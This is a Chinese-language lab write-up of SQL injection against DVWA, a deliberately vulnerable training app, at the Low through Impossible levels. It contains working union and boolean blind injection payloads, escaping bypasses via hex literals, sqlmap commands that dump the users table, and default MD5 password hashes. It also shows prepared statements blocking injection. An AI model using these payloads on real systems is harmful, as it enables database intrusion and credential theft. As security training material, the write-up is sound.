DVWA SQL 注入全级别通关笔记(Low / Medium / High / Impossible)
目录
-
[一、Low 级别](#一、Low 级别)
- [1.1 普通注入(Union 注入)](#1.1 普通注入(Union 注入))
- [1.2 编码冲突与解决方案](#1.2 编码冲突与解决方案)
- [1.3 Low - Blind(布尔盲注)](#1.3 Low - Blind(布尔盲注))
- [1.4 sqlmap 自动化](#1.4 sqlmap 自动化)
-
[二、Medium 级别](#二、Medium 级别)
- [2.1 核心变化:POST 请求与转义过滤](#2.1 核心变化:POST 请求与转义过滤)
- [2.2 绕过过滤与编码报错](#2.2 绕过过滤与编码报错)
- [2.3 Medium - Blind](#2.3 Medium - Blind)
-
[三、High 级别](#三、High 级别)
- [3.1 Session 机制与测试思路](#3.1 Session 机制与测试思路)
- [3.2 布尔盲注 Payload](#3.2 布尔盲注 Payload)
- [3.3 sqlmap 高级用法(--second-url)](#3.3 sqlmap 高级用法(--second-url))
- [3.4 High - Blind](#3.4 High - Blind)
-
[四、Impossible 级别](#四、Impossible 级别)
- [4.1 基本测试](#4.1 基本测试)
- [4.2 sqlmap 高等级探测](#4.2 sqlmap 高等级探测)
- [4.3 代码审计](#4.3 代码审计)
-
[六、普通注入 vs 盲注:如何选择?](#六、普通注入 vs 盲注:如何选择?)
一、Low 级别
1.1 普通注入(Union 注入)
第一步:判断输入框是否直接参与了 SQL 语句拼接
输入单引号 ':
原理:假设后端语句是 SELECT ... WHERE id = '$id',输入 ' 后,语句变成了 WHERE id = '''。三个单引号会导致语法错误。
输入 1' or '1'='1:无论前面的 ID 是多少,'1'='1' 永远成立,数据库会把所有用户的数据都吐出来。
第二步:确认字段数
在进行数据提取(UNION 注入)之前,必须知道原查询结果有几个字段。使用 ORDER BY 命令:
1' order by 2 #
如果 order by 2 正常回显,而 order by 3 报错,说明当前表只有 2 个字段。这决定了后续执行 UNION SELECT 时也必须写两个位置,否则数据库会因为"左右列数不对等"而拒收请求。
第三步:信息收集(确认显示位置)
1' union select 1,2 #
- 如果页面显示了 1,说明第一个位置是回显点。
- 如果页面显示了 2,说明第二个位置是回显点。
第四步:脱库
查数据库名:
1' union select database(), 2 #
查表名:
1' union select group_concat(table_name), 2 from information_schema.tables where table_schema='dvwa' #
查列名:
1' union select group_concat(column_name), 2 from information_schema.columns where table_name='users' #
查用户名与密码:
1' union select user, password from users #
1.2 编码冲突与解决方案
在查列名、表名时,发现报错:
Illegal mix of collations for operation 'UNION'
这是编码/校对规则不匹配的问题。当你使用 UNION 连接两个查询时,MySQL 要求左右两边的字符串"语言格式"(Collation)必须一致。
- 左边:DVWA 数据库原本的表(如 users)可能使用的是某种特定的编码(比如 utf8_unicode_ci)。
- 右边:你查询的 information_schema 是系统自带的元数据库,它可能使用的是另一种编码(比如 utf8_general_ci)。
解决方法:强制转换编码
既然编码不一样,就用 convert() 函数把查出来的结果强制转换成一种通用编码:
1' union select 1, convert(group_concat(table_name) using latin1) from information_schema.tables where table_schema='dvwa' #
1' union select 1, convert(group_concat(table_name) using utf8) from information_schema.tables where table_schema='dvwa' #
强制转换后数据正常回显。查列名同理:
1' union select 1, convert(group_concat(column_name) using latin1) from information_schema.columns where table_name='users' #
还有一种"暴力"解法:使用 Hex 编码
如果你不想处理编码问题,可以先把结果转成十六进制(Hex),显示出来后再找个在线工具解密:
1' union select 1, hex(group_concat(table_name)) from information_schema.tables where table_schema='dvwa' #
1.3 Low - Blind(布尔盲注)
在 Low Blind 等级,页面不会显示数据库的内容,只会告诉你存在(T)或不存在(F)。这种情况下,之前的 union select 彻底废了,因为你根本看不见 select 出来的结果。我们要用盲注。
核心思路:把"数据"变成"逻辑题"
构建 Blind Payload 必须掌握这三个函数:
| 函数 | 作用 | 示例 |
|---|---|---|
| substr(str, start, len) | 截取字符串 | substr('dvwa', 1, 1) 得到 d |
| ascii() | 转换成 ASCII 码 | ascii('d') 是 100 |
| length() | 测量长度 | length('dvwa') 是 4 |
为什么要转码? 因为在数据库里比较数字(100)比比较字母(d)更稳定,且方便使用大于、小于号来缩小范围。
-
先猜测长度
1' and length(database())=4 #
如果返回 exists,说明数据库名长度就是 4。
-
逐个字符猜数据库名
1' and ascii(substr(database(),1,1))>96 #
96 是 ASCII 码中字母 a 之前的数字。如果返回 exists,说明第一个字母在 a-z 之间。
- 猜表名
需要结合 limit 来一个一个表查:
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #
确认 dvwa 下有 2 个表。然后用 substr 配合 limit 0,1 去猜第一个表的第一个字母。
这里就推荐用 sqlmap 去测,手工测吃力不讨好。
补充盲注语法原理
将 Payload 拆开分析:1' and (SELECT count(...) FROM ...) = 2 #
在 SQL 中,A AND B 只有在 A 和 B 同时为真时,整个结果才为真。
(SELECT count(table_name) FROM information_schema.tables WHERE table_schema='dvwa') 是一个独立的查询语句,它会先在后台运行,算出一个数字结果。数据库会先查出 dvwa 库下到底有几个表。如果查出来是 2 个,那这一长串括号就等价于数字 2。
- 猜对了:语句变成 1' AND 2 = 2 → 真 → 页面显示正常。
- 猜错了:结果为假 → 页面报错/无回显。
1.4 sqlmap 自动化
python sqlmap.py -u "http://dvwa:81/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=你的值" --batch
- --batch:让 sqlmap 自动选择默认选项,不用你一直点 y/n。
常用参数:
| 目标 | 参数 |
|---|---|
| 查当前数据库 | --current-db |
| 查表名 | -D dvwa --tables |
| 查字段 | -T users --columns |
| 拖取数据 | -T users -C "user,password" --dump |
Cookie 获取方式:F12 打开网页,在请求标头(Request Headers)下面找 Cookie,而不是 Response Headers。
二、Medium 级别
进入 Medium 等级后,DVWA 开始增加了一些初级的防御机制。
- 交互方式变了:页面变成了一个下拉选择框。
- 请求方式变了:通过查看源代码或网络抓包,你会发现它变成了 POST 请求。
- 限制:POST 请求的数据是放在"请求体"里的,不像 GET 那样能直接在 URL 里看到。虽然你可以手动构建一个带参数的 URL,但如果后端代码写死只接收 $_POST 数据,那么在 URL 框注入就会失效。
- 最标准的做法是使用 Burp Suite 改包。
2.1 核心变化:POST 请求与转义过滤
核心变化(非常重要): Medium 级别的后端代码对输入调用了 mysql_real_escape_string()(或类似函数)。你的 Payload 里不能出现单引号 ',因为单引号会被转义成 \' 导致 SQL 语句报错。
查库名:
id=1 union select 1,database() #&Submit=Submit
如果直接包含空格,会破坏 HTTP 请求的格式。HTTP 数据包中,参数之间是通过 & 连接的。如果你的 Payload 中有空格或特殊字符而没有经过 URL 编码,服务器就无法正确解析,导致返回 400 Bad Request。
改包时按下快捷键 Ctrl + U
Burp 会将非标准字符转换为 % 后跟两位十六进制数的形式。这种格式被称为百分号编码,它能保证你的 Payload 作为一个整体的、合法的字符串被服务器接收。
2.2 绕过过滤与编码报错
在 Burp 框里输入 Payload:
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
报错信息:
<pre>Illegal mix of collations for operation 'UNION'</pre>
这意味着你的 Payload 语法没问题(所以服务器给了 200),但数据库执行失败了。
具体原因:你查询的 information_schema.tables 中的 table_name 字段,其编码可能与 DVWA 数据库默认的编码不一致。MySQL 无法在不统一编码的情况下把它们"缝合"到同一个结果集里展示给你。
如何解决这个报错?
最常用的办法是使用 CONVERT() 或 hex() 函数,强行把查询结果转码:
1 union select 1,group_concat(convert(table_name using latin1)) from information_schema.tables where table_schema=database()#
或者更简单的方案(绕过所有编码问题):
1 union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#
回显结果:
ID: 1 union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#
First name: admin
Surname: admin
再次发送:
ID: 1 union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#
First name: 1
Surname: 6775657374626F6F6B2C7573657273
Medium 难度 SQL 注入的完整思路:
-
观察环境:发现没有输入框,只有下拉菜单。F12 或抓包确认是 POST 请求。
-
建立连接:将包发送到 Repeater,确保能拿到 200 OK。
-
判断注入类型:
- 输入 id=1 and 1=1,页面正常。
- 输入 id=1 and 1=2,页面报错或数据消失。
- 结论:存在数字型注入(不需要单引号闭合)。
-
绕过过滤(核心):
- 发现后台用了 mysql_real_escape_string(),Payload 里一出现 ' 就报错。
- 对策:不使用单引号。如果需要指定表名,将 where table_name='users' 改为 where table_name=0x7573657273(十六进制)。
-
解决编码报错:
- 遇到 Illegal mix of collations,说明字符集不匹配。
- 对策:使用 hex() 或 convert(... using latin1) 包裹查询字段。
爆表名:
-1 union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#
6775657374626F6F6B2C7573657273 ASCII Hex 解码 → guestbook,users
爆破目标表的列名:
-1 union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name=0x7573657273%23
回显:
First name: 1
Surname: 757365725F69642C66697273745F6E616D652C6C6173745F6E616D652C757365722C70617373776F72642C6176617461722C6C6173745F6C6F67696E2C6661696C65645F6C6F67696E
继续解码:
guestbook,users
user_id,first_name,last_name,user,password,avatar,last_login,failed_login
爆用户名与密码:
id=-1 union select group_concat(user),hex(group_concat(password)) from users%23&Submit=Submit
回显:
First name: admin,gordonb,1337,pablo,smithy
Surname: 35663464636333623561613736356436316438333237646562383832636639392C65393961313863343238636233386435663236303835333637383932326530332C38643335333364373561653263333936366437653064346663633639323136622C30643130376430396635626265343063616465336465356337316539653962372C3566346463633362356161373635643631643833323764656238383263663939
得到 MD5 值:
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
5f4dcc3b5aa765d61d8327deb882cf99
去网站解密这五个就是对应的密码了。
Medium 级别常见问题速查表:
| 遇到问题 | 底层原因 | 终极对策 |
|---|---|---|
| Unknown column 'id' | Payload 结构破坏了原 SQL 逻辑 | 检查 id= 是否重复,确保 Payload 干净 |
| Illegal mix of collations | 系统表与业务表编码打架 | 使用 hex() 或 cast(... as char) |
| 页面无回显/Submit 失效 | URL 编码范围多选或漏选 | 精准选择 Payload 核心区,保留 & |
| 单引号被转义 (\'...) | 后端开启了 magic_quotes 或使用了转义函数 | 使用十六进制(0x...)代替字符串 |
2.3 Medium - Blind
Burp 改包,用 1 和 1' 去测,发现是数字型注入。
锁定数据库名长度:
1 and length(database()) = 4#
猜第一个字母(二分法):
- 1 and ascii(substr(database(), 1, 1)) > 100#(如果点头,说明范围在 101-127)
- 1 and ascii(substr(database(), 1, 1)) > 110#(如果摇头,说明范围在 101-110)
猜表的数量:
1 and (select count(table_name) from information_schema.tables where table_schema=database()) = 2#
猜第一张表长度:
1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) = 5#
(结果猜到了 9 才对,还是用 sqlmap 吧。)
sqlmap 基础自动探测:
python sqlmap.py -u "http://dvwa:81/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=你的ID; security=medium" --batch
爆破数据库名:
python sqlmap.py -u "http://dvwa:81/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=...; security=medium" --dbs
接着爆表名、列名、密码即可。
三、High 级别
这一关要严谨一些,因为一不小心就会导致 Something went wrong。
验证布尔盲注逻辑前:通过退出登录,在登录页面清除 Session,再登录回来。
因为在 DVWA 的 High 级别中,你的输入会存入 Session。
Session 污染:High 级别的特点是"持久化"。如果你输错了一次,这个错误的 Payload 就死死锁在了你的 Session 里。哪怕你刷新主页面,它还是会读那个错误的语句继续报错。
由于这一关将输入(弹出框)和输出(查询页面)分离开来,并利用 Session 存储你的 Payload,我们手工测试的思路需要分为三步走:确认闭合、逻辑验证、数据提取。
3.1 Session 机制与测试思路
先测试一个最稳妥的语句,确保能看到正常数据:
1' #
验证布尔盲注逻辑:
- 1' and 1=1 # → 显示存在
- 1' and 1=2 # → 显示 MISSING
由于没有回显,我们必须通过一系列"是/否"的问题来还原数据。
3.2 布尔盲注 Payload
| 目标 | 手写 Payload(输入到弹出框) |
|---|---|
| 猜数据库名长度 | 1' and length(database())=4 # |
| 猜数据库名第 1 位 | 1' and ascii(substr(database(),1,1))=100 # |
| 猜表名(第 1 张) | 1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)=117 # |
| 猜密码(第 1 位) | 1' and ascii(substr((select password from users where user='admin'),1,1))=53 # |
手工测试方法:
Burp 改包发到 Repeater,然后更改、放包,看 A(主页面)的结果,看回显,判断猜测正确与否。
这里 Burp 有个工具方法:配置 Burp Macro(宏),有兴趣的可以上网搜。个人感觉不如 sqlmap 来的好。
3.3 sqlmap 高级用法(--second-url)
针对 DVWA High 级别的 SQL 注入,sqlmap 需要绕过"点击弹出窗口"这个交互逻辑。
因为 High 级别的数据提交在 /session-input.php,而结果显示在 /vulnerabilities/sqli/,你需要给 sqlmap 两个核心东西:Cookie 和数据包信息。
第一步:把 /vulnerabilities/sqli/session-input.php 的包保存为 request.txt。
PS:保存成文件时一定要看是不是 POST 请求包,文件末尾是 id=1&Submit=Submit。
第二步:用 sqlmap 进行攻击
python sqlmap.py -r 你的文件目录 --second-url "http://dvwa:81/vulnerabilities/sqli/" --batch --dbs
查表:
python sqlmap.py -r "文件保存的地址" --second-url "http://dvwa:81/vulnerabilities/sqli/" --batch -p id -D dvwa --tables
查字段:
python sqlmap.py -r "文件保存地址" --second-url "http://dvwa:81/vulnerabilities/sqli/" --batch -p id -D dvwa -T users --columns
查数据:
python sqlmap.py -r "文件保存地址" --second-url "http://dvwa:81/vulnerabilities/sqli/" --batch -p id -D dvwa -T users -C "user,password" --dump
High 关卡破译起来时间耗费还是比较长的。
3.4 High - Blind
需要提的是,High 的这两关差别不大。Blind 只有 yes/no 的回显,而正常关有数据的回显。
而且我们发现 High 关卡一次只返回一条数据,是因为防御机制相同:两者都使用了 LIMIT 1 来防止你一次性查出多行数据,并且都通过"点击跳转"来干扰 Burp 的直接抓包。不管数据库里查到了多少条符合条件的数据,最后只给网页返回第一条。
High 级别因为有跳转框(Session 机制),sqlmap 每测一个字符,通常需要发 2 个包,再加上跳转点击会让手工异常麻烦。最好还是明白原理,用 sqlmap 去测。
第一步:探测注入点
python sqlmap.py -u "http://dvwa:81/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" --cookie "PHPSESSID=你的ID; security=high" --second-url "http://dvwa:81/vulnerabilities/sqli_blind/" --batch -p id
第二步:获取数据库名
python sqlmap.py -u "http://dvwa:81/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" --cookie "PHPSESSID=你的ID; security=high" --second-url "http://dvwa:81/vulnerabilities/sqli_blind/" --batch -p id --dbs
表名:
python sqlmap.py -u "..." --data "..." --cookie "..." --second-url "..." --batch -p id -D dvwa --tables
获取字段名(从 users 表):
python sqlmap.py -u "..." --data "..." --cookie "..." --second-url "..." --batch -p id -D dvwa -T users --columns
获取密码:
python sqlmap.py -u "..." --data "..." --cookie "..." --second-url "..." --batch -p id -D dvwa -T users -C "user,password" --dump
还是 MD5,需要去解密。
四、Impossible 级别
这一关我们只展示基本测试手法,给他攻破不可能。
对于阐述他的防御手法有兴趣可以 CSDN 一下,或者自行代码审计。
4.1 基本测试
正常请求:输入 1 → 页面返回 User ID exists。
触发异常:
- 输入 1' → 无回显
- 输入 1' OR '1'='1 → 无回显
4.2 sqlmap 高等级探测
python sqlmap.py -u "http://dvwa:81/vulnerabilities/sqli/session-input.php" --data "id=1*&Submit=Submit" --cookie "PHPSESSID=你的ID; security=impossible" --second-url "http://dvwa:81/vulnerabilities/sqli/" --batch --level 5 --risk 3
开高等级进行探测。
但最终会跳出一行红字:
[CRITICAL] all tested parameters do not appear to be injectable.
当 level 5 且 risk 3 都跑不出结果时,基本可以判定该接口在当前请求点不存在直接的 SQL 注入漏洞。
4.3 代码审计
点击 Impossible 页面右下角的 View Source:
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
}
到这里目前就要跑路了。输入内容不再传入 DB 拼接,只是作为一个值来用。
正面 SQL 注入被封死。
寻找 Anti-CSRF Token 的缺陷以及二次注入(Second-Order)可能性,但是仅对于这个题来说已经 game over 了。
五、总结对比
| 级别 | 防御手段 | 核心突破点 | 渗透思维 |
|---|---|---|---|
| Low | 零防御:代码直接拼接变量 | 手动 UNION SELECT 或 AND 1=1 | 初探:验证漏洞存在,确认数据库类型 |
| Medium | 黑名单/转义:使用了 mysql_real_escape_string 过滤单引号 | 绕过引号:使用数字型注入,或将 Payload 转为十六进制 | 绕过:当常规字符被禁时,尝试改变数据编码方式 |
| High | Session 隔离/跳转:利用跳转框增加抓包难度,且加了 LIMIT 1 | 联动测试:使用 Burp 宏或 sqlmap 的 --second-url 建立会话同步 | 协同:处理复杂业务逻辑下的参数传递问题 |
| Impossible | 预编译(PDO):指令与数据彻底分离 | 正面无法绕过:只能寻找二次注入或其他逻辑漏洞 | 防御:理解什么是真正的安全编码标准 |
六、普通注入 vs 盲注:如何选择?
-
普通注入(Normal SQLi):
- 现象:直接在网页上看到数据库返回的数据(如:First Name: admin)。
- 效率:极高。通过 UNION SELECT 可以在一次请求中拿走一整行甚至多行数据。
- 首选:只要页面有显式回显,绝不使用盲注。
-
盲注(Blind SQLi):
- 现象:页面只显示"存在"或"不存在",或者干脆没变化(通过响应时间判断)。
- 效率:极低。需要通过大量的"是非题"逐位破解字符的 ASCII 码。
- 现状:现代 Web 应用大多不会把数据库报错打印在屏幕上,因此盲注才是实战中的常态。